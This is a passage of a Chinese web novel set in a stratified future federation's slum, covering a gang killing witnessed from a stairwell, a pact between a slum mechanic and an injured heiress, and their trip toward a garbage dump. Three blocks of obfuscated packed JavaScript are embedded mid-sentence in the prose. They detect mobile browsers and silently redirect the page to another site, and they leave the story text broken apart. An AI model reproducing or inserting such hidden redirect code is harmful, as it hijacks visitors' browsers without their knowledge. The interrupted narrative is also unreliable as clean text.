邵满不在意她看出自己和何饭的关系,理直气壮地为自己辩解:“我哪儿担当得起资本家这个称号?” 他不以为耻反而引以为傲,扬着眉得瑟地笑起来,“我可是偷奸耍滑浑水摸鱼游手好闲无恶不作的咸鱼和搅屎棍。” “那太可惜了。”谢盛谨的脚步轻快,她边走边笑,“我可能是你嘴里唯利是图见利忘义贪得无厌心狠手辣的歹徒和资本家。” “是吗?”邵满一挑眉,“真不巧啊。” 他们的目光交错又分开。 “但没关系,志向不同可以各行其事嘛。不冲突。”邵满不动声色地揽住何饭肩膀,走到谢盛谨和何饭的中间,他关切地看了眼谢盛谨脸上依旧触目惊心的伤口,“你伤得严重吗?” ——这像是一句慰问。 但这句话的语气不应该是暗含期待的。它应当是担忧而关切的,充满怜爱和同情。 闻言谢盛谨抬了头。 邵满眼中蠢蠢欲动的试探被她一览无余。 他们猝不及防地对视了。 昏黄的路灯倒映在谢盛谨眼中,但白天那片波光粼粼的湖已经消失了。光影变换下邵满看到她的眼睛像野兽黑暗中狩猎的金瞳,透出森然的冷意。 但走了两步远离路灯后,那股冷意就消失了,快得邵满怀疑是自己的错觉。 谢盛谨弯了弯嘴角,“算挺严重吧?” “你看——” 她微侧着头,于是邵满将她的脸上的伤口一览无余。 那道从眉骨贯穿至下颌的巨大裂口仍猩红肿胀,狰狞不已。 造物主在看到这张被损坏的面容时一定心怀怜惜和悲切。 邵满的心脏突兀地跳动了一下。 他扭过头,干巴巴地说:“你要买药吗?” “不必了。”谢盛谨拒绝道,“我可以躺治疗舱。疗效好时程短,唯一美中不足的是需要一点电费。” 她伸出拇指和食指比划,眼神中带着笑意,强调道:“一点点哦。” 邵满瞪着她,心想别哄他不知道治疗舱要多少电费,一天下来他住在发电站送钱都供应不起,到时候线一接上整栋楼的灯就会像风吹蜡烛似的熄灭,贫民窟的电力才供应不起如此奢侈的开销。这人年纪轻轻脸皮倒挺厚,士可杀不可辱要钱没有要命一条! 邵满刚准备赖账,余光突然瞥到谢盛谨腰间一闪而过的银光。那是什么东西……他刚开始疑惑就想起来了,瞬间后背一凉嘴角一抽,“钱不是那么好搞的……” 如茫刀光刺得他眼睛疼,“呃,我的意思是,虽然钱不是那么好搞的,但是功夫不负有心人……” 他冷汗涔涔地盯着谢盛谨慢条斯理地把刀收了回去。 白天被挟持的记忆苏醒过来,冰凉触感余温犹在,餐桌上被敲响的清脆余音似乎又开始缭绕不绝。 邵满终于准备暂时熄灭那些不怀好意的小心思,他低下头,心不在焉地揉了揉何饭的脑袋。 这个时候是晚上八点。活动的人依然很多。孩子哭嚎的声音在巷道里形成回声,父母在五楼的叫骂尖锐地传递到底楼。沿途中他们需要侧身躲过从居民房里支出来的架子和不断滴水的衣服,绕过躺在污水中外壳剥落露出的光缆和生物油,还得挡住眼睛防止被蓝紫光交替闪烁的霓虹污染灯晃到。 卖身的妓/女和牛郎蹲在路边,廉价化妆品涂得脸色惨白,配合深重的眉毛和浓艳的腮红,脸上倒映着色彩斑斓的霓虹灯光,看不清轮廓的眼珠子突兀地移过来,像民俗小说里索命的孤魂野鬼。 何饭和邵满视若无睹。他们在贫民窟生活多年,早已习惯。 谢盛谨没什么表情。 他们走得不慢,闲逛的地方离家也不远,不多时便走到了家门口。 但他们并没有沿着修理铺的大门进去。 经过修理铺旁边的筒子楼单元入口时,何饭率先咚咚咚地跑上去。 邵满转身给谢盛谨解释:“卧室在三楼,这里进去方便点。” 谢盛谨安安静静地跟在他身后。 楼道里的感应灯早就坏了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380003|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邵满修过,但没过多久就会被筒子楼里调皮捣蛋的小屁孩们损坏。他们的家长不愿掏钱,久而久之便任由灯坏着了。 邵满在黑暗中行动自如地上楼掏出钥匙打开门,伸手去摸客厅的开关。 “啪!” 还是一片漆黑。 邵满终于回想起来什么。他手忙脚乱地打开终端,登录缴费页面,噼里啪啦按了一通。 但毫无反响。 紧接着终端顶端跳出一行冰冷无情的通知。 【余额不足,无法充值。】 这一条毫无人文关怀的短信照得邵满那张俊脸在黑暗中发出幽幽的白光,他啪得熄灭终端,抬头看向谢盛谨。 “……今晚委屈一下?”他扭扭捏捏地试探道,“明天我就去交电费。” 谢盛谨尚未来得及说话,对面的门被“砰”的一声打开了。 一堂灯光泄出,一个十一二岁的小男孩捂着屁股尖叫着跑出来。 他一边哭一边嚎叫:“呜呜呜哇哇哇——我再也不敢了!呜呜——我错了妈!我再也不会溜出学校逃课去垃圾山跟无涯帮的人捡子弹头卖假酒换毒品了呜呜呜呜呜!” 他像一阵风一般卷过邵满身边撞了他一个趔趄,随后一个膀大腰圆的中年妇女拿着一根棍子气势如虹地冲过来,“看我不打死你!!” 两人尖利的争吵声回响在整个楼道里。谢盛谨突然听到有人鼓掌——她先是怀疑自己听错了,后来掌声连成一片,还有人激烈地叫好。 筒子楼的窗户中伸出来一个个脑袋,他们咬着烟卷看热闹不嫌事大地怂恿着男孩反手打回去,另一派人感同身受地为妇女加油希望她把男孩儿打个半死。 这是一场热闹的追逐战,母子俩所到之处所有人都探出头为他们加油呐喊摇旗助威,这场热闹使得这一片充满饥饿和贫穷的地区久违地沸反盈天,直到引起黑/帮的注意。 盘踞在此的无涯帮闻讯赶来,尚未问清缘由就是“砰”的一声! ——这比任何消音器都管用。 管他是看热闹的还是真心实意劝架的,都嗖得一下把脑袋缩了回去。一下子拉窗帘的声音此起彼伏,无辜赶路的行人溜得比兔子还快,巷道里空空荡荡得只留中年妇女一个人。 ……还有横躺在路中的男孩。 她终于反应过来。 巷道中响起一声凄厉的哀嚎,她比野狼更敏捷地扑上儿子的尸体。 此刻积攒已久的瓢泼大雨终于倾盆而下,将男孩汩汩流出的血液冲刷向四面八方。 贫民窟根本不存在的地下循环水道无法接纳男孩的鲜血,红色的液体被稀释着流向每一块地势稍低的青石板砖上。 □□的人骂骂咧咧地头顶着衣服离开。中年妇女的尖利哭嚎逐渐低声下去,徒留暴雨冲刷墙壁的声响。 …… 邵满打了个寒战。 他转过身准备对谢盛谨说点什么,恰巧一道闪电斜劈下来,照亮了昏暗的楼道。 与此同时邵满看见了谢盛谨的表情。 ——那是一种漠然的、毫无怜悯的冷酷。 邵满突然觉得自己的喉咙被堵住了。 6.合作 似乎察觉到什么,谢盛谨偏了偏头,轻声问道。 “怎么了?” 在黑暗中,邵满艰难地将堵在喉管处的字句咽了下去。 他沉默着摇摇头,“没事。”他说着,把门推开。 房门发出轻轻的“咯吱”声。 身后人的呼吸轻得邵满几乎听不到。 他已经在想是不是刚刚那残酷的一幕让谢盛谨发现还有其他来钱更快的方式了,现在正准备杀人越货......至于杀的什么人越的什么货还用想吗?自己这一死连人带房都是她的! 屋内一片漆黑。 邵满凭着记忆走过玄关,到沙发处摸出蜡烛点燃,刚准备招呼谢盛谨过来,就听到她近在咫尺、略带疑问的声音:“黑/帮似乎能在这里为所欲为?” 他被吓得身体往后一仰,没顾得上回答谢盛谨的问题,“这么黑你都看得到啊?!” “嗯,但不太清晰。” 谢盛谨一边说一边从沙发上站起来,行动自如地给自己倒了杯水。 她迈步的动作很轻,几乎听不到什么声音。 昏黄的烛光下邵满隐约可见谢盛谨的轮廓,不知怎的他想到了楼下那只灵活矫健又不近人情的狸花猫。 于是他脑子一抽脱口而出:“你是猫变的妖怪?” 至此邵满臆想的危机气氛已被全面打破。他刚说出口就恨不得给自己一嘴巴子,但说出去的话泼出去的水,他想反悔也无济于事了。 “?”谢盛谨喝水的动作一顿,困惑地看着他,“你的结论来源于?” “我的臆想。” 邵满避开谢盛谨茫然的目光,迅速转移话题,“你刚刚说什么来着?” 他随便找了个借口,“不好意思,熬夜熬多了,现在记忆力不太好。” 谢盛谨看着他,突然提了一个毫无关系的问题,“为什么熬夜?” “啊。”邵满被问得猝不及防,他眉头一挑,“我还以为只有我妈会问我这个问题。” “那她问吗?” “不。”邵满摇头,“她不关心我。” “那你......” “我爸早死了。”邵满说。 说这话的时候他嘿的一笑,然后舒舒服服地往沙发一靠,甚至还打了个哈欠。 谢盛谨看着他,犹豫着说:“......恭喜?” “谢谢。”邵满喜气洋洋地接下了这句话,这时候他的记忆力突然回笼了,“你刚刚是想问黑/帮的人是不是一直都这么嚣张,对吧?” 不等谢盛谨回话他就自顾自地说下去,“贫民窟东南西北四个区,除了南区是垃圾山外,其他三个区都是居住区。东区最小,有一百条主要街道,西区北区都比东区大得不止一点。” 谢盛谨没有打断他。黑暗中邵满听到了她轻微的呼吸声,让他有一点安心。 “虽说是一百条街,但远远不止。许多旮旯角落的胡同小巷都没算进去,一百条街都是住户比较多的,称得上名字的地方。” “我家在东区24街。离南区,也就是垃圾山,很近。盘踞于此的黑/帮叫无涯帮。无涯帮是东区最大的黑/帮,管辖范围从东区十三街到七十四街,前段时间已经扩大到九十了。” 邵满背靠在沙发上,双腿自然分开,坐姿舒展神态轻松,“他们的确嚣张。抢地盘、收保护费、火拼、放高利贷、贩/毒……什么都干。帮派每天都会死人,死了人就会招人,管饭给钱撑场面,所以这份工作还不少人喜欢。” “但这种被招进去的小喽啰要不了多久就会被当做炮灰死掉,所以也有人不愿意去应聘。也不排除有些幸运儿刚进去就一路飞升,转身一变成为无涯帮的中层,这种好事可不亚于去垃圾山捡到无价之宝。” 但我那种除外。 邵满的目光在谢盛谨身上缠绕一圈又回来,怨念几乎能冒出黑烟。他这运气也算是前无古人后无来者,谁能想到无价之宝还买一送一!也没人说过买黄金送核弹啊……这核弹还是个没有遥控器、随时会爆炸的不可控高危玩意儿。 ……但如果无价之宝只是另一个人无足轻重的物品,那真正的无价之宝到底是谁? 想到这里他不自觉地收回腿挺直背坐得端正了一些,心里祈祷着对面这尊大佛尽快离开他这破庙,最好今天出门明天走,这身手在无涯帮保管能混个好差事,要是直接留在那里就更好了……邵满忽的一激灵,谢盛谨被闪电照亮的那一刻表情又浮现在他的脑海中,他情不自禁地打了个哆嗦。 可别祸害我了……他抬头看向谢盛谨的方向,正想费一番口舌劝她去无涯帮闯荡一下,别赖在他这里了去祸害无涯帮也行啊——他陡然看清了谢盛谨的坐姿。 她脊背挺直,左手搭在身侧一动不动,右手自然地垂下,这是一个不怎么放松的姿势。 邵满倏地想到路上看到谢盛谨腰间一闪而过的刀光和她吃饭时稳定不动的左手,那声清脆的敲击声几乎要像鬼魂一样缠绕他了……敢情这人一直心怀十二万分的警惕随时准备抽刀砍人! 邵满欲哭无泪心如死灰地往沙发一靠。 他瘫在沙发上盯着黑漆漆的天花板毫不动弹。 过了一会儿他突然问道:“贫民窟就是三圈层,你知道的吧?” “知道。”谢盛谨说,“我有常识。” 邵满短促地笑了一声。 “但是上面的教材会一笔带过,对吧?今天一天见的东西是不是比你所有教科书对三圈层的描写还多?” 谢盛谨默认了。 “教科书上只会写:如今联邦分为三部分,一二三圈层。一圈层是富丽堂皇的神圣之地,是无数天才精英的伊甸园,有用之人的才能会在这里极尽发挥,聪明才智使他们如鱼得水。二圈层是我们温柔的栖息地,它托载我们的后路,给予我们自由轻松的环境。而三圈层……” 邵满微不可查地哼了一声。 “……这是罪民的流放地、垃圾的处理场。” “没了。”他说,“对吗?” 一字不差。 谢盛谨的目光停留在他身上。 “不对。”她轻声说。 邵满似乎有些意外她的回答,“哦?” 是什么原因让邵满原封不动地背下这段地理书的导语? 谢盛谨想,愤怒?嘲笑?不满?总之不会是赞同。 暗淡的烛光是很好的保护色,屋内的一切都影影绰绰,看不真切。 谢盛谨没有去探寻邵满的表情和姿态,她坐在沙发上,轻轻一眨眼。 屋内的昏暗像潮水一般褪去,各种画面像彩色的多棱玻璃在阳光的反射下晃过一闪而逝的光。紧闭的盒子中仿佛有沸腾的开水,单薄的盖面被蒸汽冲击着久晃不停。尘封已久的盒子被倏地冲破,谢盛谨突然听到了零散的欢呼和议论,盛大的赞美和言简意赅的推脱交杂在一起,嘈杂声越来越清晰,最后却再次连成一片,破碎画面凝结成少年上台领奖的身影和走廊上空缺的照片。 她甚至能回忆起当时自己手里拿着的是什么牌子的矿泉水,空荡的塑料水瓶被丢进垃圾桶,旁边走廊上的第一个空白相框被蒙太奇的手法虚化了,原木色的横条开始褪色变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381952|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锋锐冰寒的金属银光,谢盛谨轻轻一低头,看到邵满脆弱跳动的颈动脉距离她的手不到一纸之隔。 犹有余温。 …… 谢盛谨轻轻抽了口气。 刚才的对话是一场双方都心知肚明的信息交换。一圈层和贫民窟,权贵和罪民,在暗流涌动的黑暗中将欲望置于台上。 谢盛谨听到自己的心跳。窗外的灯光投射在阳台,在一片昏暗中拖迤出蜿蜒的影子。 不到两米之处是失而复得的璀璨之星,秋日夜晚的风钻入窗户,连温度都恰到好处。 没有鲜血和疼痛,没有命令和强迫,没有背叛和身不由己。 谢盛谨轻轻咬下舌尖。刺痛感带来了一瞬间的清醒。 “三个月之内。我会回去。” 她说。 邵满悚然一惊。 接着他像条被冲上岸的鱼一般动弹了两下。 邵满艰难地爬起来,盯着谢盛谨:“你怎么回去?” 从一二圈层到贫民窟轻而易举,但从贫民窟到一二圈层难如登天。也正因为如此,贫民窟将一二圈层戏称为“上面”。除非有合情合理的身份和证明,还需要在一二圈层有够硬的背景和过关的接应,除此之外还得有雄厚的家底以应对各种“人情关”。 邵满作为黑户,几乎没有任何回到一二圈层的可能。 但谢盛谨可以。 她的背景毋庸置疑,资本雄厚得显而易见,唯一的问题是…… “让你受伤的人会阻拦你吧?” 邵满问。 “当然。”谢盛谨微笑着说,“所以邵哥一定要帮帮我啊。” 邵满全当她在开玩笑,正准备开口说点什么时却骤然听到对面人波澜不惊、平静笃定的声音: “作为交换,我可以给你离开贫民窟的资格。” 话音刚刚落下,尾字仍像投入池塘的落石一般涟漪连绵不断、圈圈交叠,但微凉的空气已经像被一张逐渐被拉开的弓,发出微微震颤、令人胆战心惊的嗡鸣。 谢盛谨的话音平静,淡漠,且不肃穆。她就像在说一件易如反掌的事情,无论这件事实际上多么困难多么不易,但经过她的承诺后这就是件板上钉钉的事实。而在她的认知和眼界中,这也的确并不是什么难事,只是她离开途中顺道而为的举手之劳。 也因此她几乎没将这件事看得太重要。她并不高高在上,也没有趾高气扬,但在不经意间却使这句话带着些居高临下的意味。 但邵满没有觉得刺耳。 因为“那些人”说话就这样。 邵满听过很多一圈层的人说话。优越的背景、顶级的才智、上流的容貌、被无数人追捧讨好的日常生活,很难不使他们身上形成一种自然而然、养尊处优的气质。 他缓慢而压抑地呼吸着。 谢盛谨的一句话在邵满心中翻来覆去地品读。 空气中看不见的弯弓已被拉至圆满,邵满感觉到一股从尾椎骨冲上来的躁动和紧绷。黑暗中他的心跳剧烈如擂鼓,咚咚声响逐渐蔓延到身体的各个部位。 秋日的凉风吹拂他的发丝,但无法降下半点温度。 他咬紧牙关,恍惚听见了自己血液里嗡鸣的弦音,感受到身体中流淌的躁动——这句话精准剖开他埋藏了四年的渴望,巨大诱惑绞成的弓弦正一寸寸勒进他绷紧的神经。 蓄势待发,势不可挡。 邵满抬起头,撞进谢盛谨深沉如渊的眼眸。 他侧过脸,极轻极慢地呼出一口气。 “成交。” 他听到自己说。 7.前往垃圾山 邵满拿着浴巾和蜡烛走进浴室。 热气腾腾的水雾弥漫,他伸手在镜子上抹了两下。 镜子里投射出一张年轻而英俊的脸。邵满的眼窝很深,眉骨硬朗,原本是凶悍痞气的长相,偏偏他五官柔和,还经常嬉皮笑脸,于是平白无故添了些少年人的俊俏和风流。 邵满盯着镜子上被抹开的地方渐渐被白雾重新覆盖。他仰起头,脖子被拉扯出修长的线条,喉结在雾气缭绕中上下滚动。 他的肤色并不算白,在垃圾山上找材料需要接受阳光的洗礼,修理各种机械设备更为他练就了一副劲瘦有力的好身材。 在蜡烛昏黄的灯光下,水流沿着肌肉线条滚动而下,像雨点流过蜜色的人体雕塑。水流在脚边重新汇聚,然后流进排水孔。 白色的浴巾被扯下来,邵满胡乱地擦了两下头发后将其系在身上,接着从蜡烛台上取下蜡烛,出了浴室。 何饭坐在他床上,聚精会神地玩终端上的小游戏。 见到他出来,非常吝啬地给了他一个眼神,“你洗得好慢。” “要你管。” 邵满走过去把蜡烛放好,转身把他拎起来站着,“你坐到我衣服没有?” “给你放在椅子上了!”何饭被打断游戏进程,非常不满地一撇嘴,“你以为谁都跟你一样?” 一提到这个,邵满跟聋了似的不回答他。 他穿好衣服,像赶小鸡一样挥着手,“去去去,到我这儿来干嘛?洗了澡就去睡觉啊。睡不着就耍终端,别来骚扰我。” 何饭没理他,他扑过来,在邵满耳边小声地问:“她给你说了什么吗?” 邵满看了他一眼,心想年纪虽小,人还挺敏锐。 他点点头,含糊不清地说:“和她达成了一些共识,以后不用怕随时被抹脖子了。” 何饭穷追不舍:“什么共识?” 邵满正想说问那么多干嘛还真要管家……电光火石之间他突然看到了在何饭摇曳着烛光的瞳孔。何饭眼睛中有隐藏起来的不安和恐惧。 他怕邵满丢下自己。 邵满瞬间心软了。 他拍拍何饭的肩膀,柔声安慰道:“就是一些合作……她做她的事,我做我的事,有交集的地方一起做。做完之后各回各家各找各妈,就这样,懂吧?” 何饭懂了。 他从上楼开始就一直焦躁不安的心终于平静下来,被抛弃的恐慌几乎要把他排山倒海地淹没,于是他在确认谢盛谨离开后就立刻跑过来要一个确切的答案。 此刻问题已经解决,他后知后觉地有些不好意思。 他站在原地憋了半天,最后只诺诺地说了声“早点睡”,便跑掉了。 邵满看着他惊慌的背影,难得没有发出任何嘲笑。 门被何饭带上后,邵满揉了揉眉心,轻轻叹了口气。 谁也不知道他当下的决策是否正确。 但这是他在贫民窟流离失所的四年里离成功最近的时候,哪怕这是来自地狱的铁链,他也会将其熔铸成登天的舷梯。 仇恨会让人忽视自己付出的代价和痛苦,或许这只是一次轻飘飘的戏耍和玩笑,他也会不惜一切代价抓住它、得到它、利用它。 邵满苦笑一声。 此刻没有关好的窗户恰巧吹来一阵微风,烛火在黑暗中轻轻地摇曳,沉默站立的青年伸出手,替它挡住了风。 …… 第二天。 邵满睡了个昏天黑地。 何饭来了他卧室好几次,硬是叫不醒他。 “喂?你昏迷了吗邵满?”何饭像只苍蝇一样嗡嗡嗡,“十一点了!” “……别吵……” 邵满困得不行。昨晚他凌晨才睡着,再加上一天的劳累和惊吓,恨不得就此长眠于被窝。 何饭不肯罢休。 “哥,邵哥,”他扒拉着邵满,小声道,“谢盛谨还在等你。” 邵满迷迷糊糊的,心说这谁啊……等就等呗,求人要有求人的态度,老子还要为了这人起床是什么道理…… 他突然一个激灵。 “等下!” 他一骨碌坐起来,一把抓住何饭,“你刚刚说谁在等我?!” “谢盛谨啊。”何饭呵呵两声,“清醒了?” 清醒了。 醒得不能再醒了。 邵满坐在床上,抓了抓自己的一头鸡窝,呆了几秒,抬头,颐指气使地指着门口让何饭出去,“我要换衣服了。” “矫情什么……”何饭嘟嘟囔囔地离开了。 邵满盯着被关上的门,徐徐收回视线,然后如风卷残云般捡起自己的衣服。一阵噼里啪啦的动静后,他穿戴整齐地下了楼。 何饭在一楼的沙发上瘫着,听到楼梯上传来的脚步声,懒洋洋地定睛一看,这人居然做了个造型! 虽然看上去只是用手和梳子处理了一下头发,但依然把何饭吓得够呛。 他一骨碌坐起身,等到邵满走近时压低了嗓子,“邵哥,你终于屈服于生活的淫威之下,收拾收拾准备去当鸭子了?” 邵满一口水喷了出来。 他放下杯子,擦了擦嘴角的水渍,然后一指大门方向:“滚蛋。” 何饭滚了。 下一秒邵满吼道:“滚回来!” 何饭哒哒哒地跑回来。 邵满左右环视一周:“谢盛谨呢?” “哦哦,她啊,”何饭很懂行地说,“估计是你起得太晚,人家不想等了所以先出去了。” 邵满一愣,“出去了?去哪儿了?” “我哪知道。” “你不问问?” “我敢吗?”何饭气不打一处来。歇了两秒,他犹豫着补充道,“而且我觉得她今天不太高兴。感觉周围有种低气压,搞得我都不敢跟她说话。” 邵满丈二和尚摸不着头脑,她生气了?不对啊,昨天晚上不还好好的? 下一刻,门“吱呀”一声。 何饭立刻闭了嘴。两人一起往门口看去。 谢盛谨逆着光从外面走来。 她脸上的伤口又比昨天好了不少,袖子被挽到小臂处,手里提着一个口袋。 邵满一吞唾沫。不用谢盛谨说他就已经知道口袋里装的是什么了。33街的包子、7街的烤冷面、15街的煎饼果子、22街的臭豆腐、30街的肉夹馍、41街的羊肉串……各种磅礴的香气争先恐后地从袋子里冒出来,邵满被美食刺激得混混沌沌的脑子突然想到何饭刚刚说的——“她今天不太高兴”。 他缓缓低头。 然后一眼瞧见何饭这不争气的东西正盯着谢盛谨手中的袋子双眼放光垂涎欲滴,他顿时气不打一处来,“何饭!” 何饭一惊,骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385504|168424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回神:“什么?” 邵满冷酷无情:“你口水滴下来了。” 何饭大惊失色地一抹嘴。 然而什么都没有。 他愤怒地把目光挪向邵满,却发现这人已经站起身朝谢盛谨走去,“我来拿吧?哎呀,这么多东西,真是破费了……” 何饭一翻眼皮,愤愤地想:虚伪得要死。 下一秒他也站起身,笑容殷勤:“盛谨姐,我来帮你拿吧?” 邵满瞪他一眼:这就叫上姐了! 何饭毫不犹豫地瞪回去:你看看人家! 谢盛谨刚来两天何饭就吃了两天的大鱼大肉,虽然昨天是邵满做的饭,但如果不是谢盛谨,邵满能等到那些食物放坏都懒得动一下尊手。要不是谢盛谨一走何饭还得依靠邵满,他已经暗戳戳地通敌了! 等等。何饭忽然想到,谢盛谨哪儿来的钱? 很明显邵满也想到了。 但这么直白地张嘴询问对方的经济来源是不是不太礼貌……何况在两个人关系如此特殊的情况下。 接着谢盛谨再度发挥了她堪比读心术的本领,她轻松地说:“卖东西赚了点钱。” 她指了指地下室:“你把治疗仓拆了,有些碎片没法再装上去。废物利用,卖了换钱。” 邵满的脸腾的一下红了。 “我,我……”还没等他语无伦次地解释完,谢盛谨就再度开口:“没关系,本来也是一些不必要的装饰,没什么用。” 她一锤定音:“好啦,不提这个乌龙了,垃圾山的东西本来也是无主之物,捡到治疗舱也是邵哥的本事,对吧?” 三两句话瓦解了两个愣头小子所有支支吾吾的话语。 邵满感觉自己败在了敌人的随手一招下,心里颇不是滋味。 扭头一看何饭已经快成星星眼了,更是一口气堵在心里无法言说。 他憋屈地吃着饭。 谢盛谨不动声色地从他俩身上收回了目光。 趁着夹起食物放进碗里的空当,她无声地弯了弯嘴角。 …… 吃完饭,邵满带着谢盛谨去垃圾山。何饭去上学。 这是邵满的安排。 “你再不去上学就要被学校除名了!”邵满点点他的脑袋,“好好学习,多读点书,嗯?不要一天到晚混吃等死的。” 你昨天明明不是这么说的!何饭瞪着他,但最终拗不过邵满,不情不愿地背着书包上学去了。 邵满终于把何饭哄走之后,舒了口气,然后若无其事地走到谢盛谨旁边。见他过来,谢盛谨吐掉嘴里的劣质棒棒糖。 “好吃吗?”邵满问。 “一般。”谢盛谨说。 邵满点点头。 并排走了一段路后,他说道:“一二圈层的卸货飞机每天都会在垃圾山投放成吨的垃圾,难免会有还未完全报废的零件器具。运气好的话,甚至能捡到过期的军备。” 停顿片刻后,邵满说道: “……也许会有你需要的东西。”他的声音很低。 谢盛谨侧过头,看见邵满高挺的鼻梁和流畅的面部轮廓,正午的阳光给他的侧脸打下漂亮的阴影,他低头看着地面,根本注意到身边人晦暗不明的眼神。 “……邵哥。”谢盛谨轻轻喊道。 “嗯?” “你会站在我这边吗?”她问。 8.未成年 邵满一愣。 他偏过头,老实巴交地说:“不然呢?我也不认识别人啊。” 谢盛谨的目光像沾湿水的羽毛般,从邵满脸上一扫而过。她扬起嘴角,眉眼舒展开,眼睛里荡着货真价实的笑意,看上去非常开心。 邵满一头雾水地等着谢盛谨笑完。 谢盛谨望着他:“邵哥,在你眼中我是什么样的人?” 邵满立刻警觉起来。 敢情在这儿等着我呢!一瞬间数十个念头从他脑子里略过,动机是什么?目的是什么?是故意试探还是单纯好奇?是别有用心还是只是玩笑?是暗藏玄机还是毫无深意?是想考验自己的应变,还是只是随便聊聊?是背后另有隐情,还是表面这般简单? “……邵哥?” 谢盛谨暗含期待地盯着他。 邵满“嗯”了一声,急得头皮发麻。 书到用时方恨少,学海无涯苦作舟……什么鬼……此时邵满恨不得自己能倒回去重学政治纲要,再不济看看新闻联播也行啊……当初怎么就没好好研究他们那套不紧不慢不疾不徐、波澜不惊娓娓道来但又显得意蕴深长的叙述呢? 但时间不等人,他竭力避开敏感话题,准备挑拣着好听的回答:“你很厉害啊。呃,很聪明,很勇敢,呃……” 他卡壳了。 这番像小学生写作文一样的对话已经是邵满绞尽脑汁想词的台词,他几乎要绝望的时候突然听到谢盛谨说了句什么,他一愣:“什么?” 谢盛谨定定地看着他,重复了一遍:“我姓谢呢,邵哥。” 这是监考官递来的参考答案。 简直是久旱逢甘霖的珍贵宝物。出题方向已经告诉他了,只待他在固定范围发挥就好,但邵满突然不想要了。 他“哦”了一声。 “我知道嘛,王谢堂前燕的谢。”邵满笑了笑,若无其事地问,“怎么了?” 这是一个双方心照不宣的台阶。 但有人不想下。 “你知道吗?”谢盛谨盯着他,眼睛一眨不眨,直到邵满皱了皱眉,她才接上话,“你当然知道。” “邵满。”谢盛谨喊他的名字。 在刚刚的沉默里她脸上的笑意已经全然消退了,留下的是一张锋利而不近人情的脸。平心而论,谢盛谨长得不太平易近人。她的五官并不柔和,气质也不温顺,比起花朵用仓木形容她更为合适。 “你还有反悔的机会。”谢盛谨轻声说。 邵满脑海里闪过昨天看到新闻联播。 「“另一边,谢家最近似乎没什么波澜。电子信息的龙头通过一系列复杂的资本运作,成功控股了多家小型机构,进一步巩固在电子信息界的地位……”」 上了贼船吗?算吧。 跳下来吗? 绝不。 邵满“噗嗤”一声笑出来。他抬手摸了摸谢盛谨的脑袋,“我是个说话算话的人。” “从不反悔。”他大言不惭地说。 ……胡说八道。 谢盛谨想。 她轻轻吸了口气。然后转回脑袋。 …… 之后的一路都没有交谈。 邵满好几次都在偷偷打量她。 谢盛谨一侧头就把他逮了个正着。她看着邵满,略微疑惑地拧着眉,问道:“怎么了?” 她的神情没有任何异样。恰到好处的困惑,茫然的神情,简直像一副完美的面具。 邵满眯了眯眼。 他比面条还粗的神经在观察青少年这方面却极其敏感,这么多年与小孩打交道的生活给他锻炼出了堪比幼师的耐心与敏锐程度。 就在谢盛谨即将开口询问他时,邵满撇开了视线。 两人一路无话。 数十分钟后,巷子转角处,邵满听到一阵慌乱的跑步动静。 下一刻,五六个营养不良干瘦如柴的小孩儿站在一起瞪着他们,面上表情紧张且防备。 邵满一挑眉。他的视线从每个小孩身上扫过,正要开口时,谢盛谨往前走了一步。 “让开。”她冷漠地说。 邵满有些意外地看着她。 下一刻谢盛谨就迈步向前,她走得挺快,脊背笔直,还有个看上去很倔犟的后脑勺。 邵满脑子里灵光一闪,莫名觉得她像闹了脾气的小孩。 他最后扫了眼明显被吓住的小屁孩们,快步追上她。 “怎么了?”邵满问,“不高兴吗?” 谢盛谨看了他一眼,“没有。” “嘿。”邵满笑了声,得意地一挑眉,“以我带小孩多年的经验,你就是不高兴了。” 谢盛谨绷着脸,不明白这有什么值得得意的。 她拧着眉,欲要往前一步。 她被拦住了。 “对了,”邵满挡在她面前,好奇地问道,“刚刚突然想起来,我还不知道你年龄呢。” 他是真心实意地好奇。 谢盛谨目光沉沉地盯着他。 “……十七岁。”她说。 邵满被惊了个猝不及防。 “什么?!”他懵了,“这么小?” ……居然还是未成年? 谢盛谨面无表情、理所当然地看着他。 邵满感觉自己的心灵受到了极大的冲击。 千万思绪如潮水般涌来,在他脑海里冲刷一圈后留下的居然是—— “那我人头费岂不是交多了?!” “……” 回应他的是谢盛谨微不可察的上扬嘴角。 邵满眼疾手快,“你笑了!” 谢盛谨一秒就恢复了平静的脸色,“没有。” 邵满固执己见:“我看到了!” 谢盛谨沉默了几秒,“那又如何?” “……”邵满还真不知道如何,他憋了半天,“不生气了吧?” 不知不觉他就带上了哄孩子的语气。 谢盛谨偏过头,安静了一会儿,含糊其辞道:“嗯。” 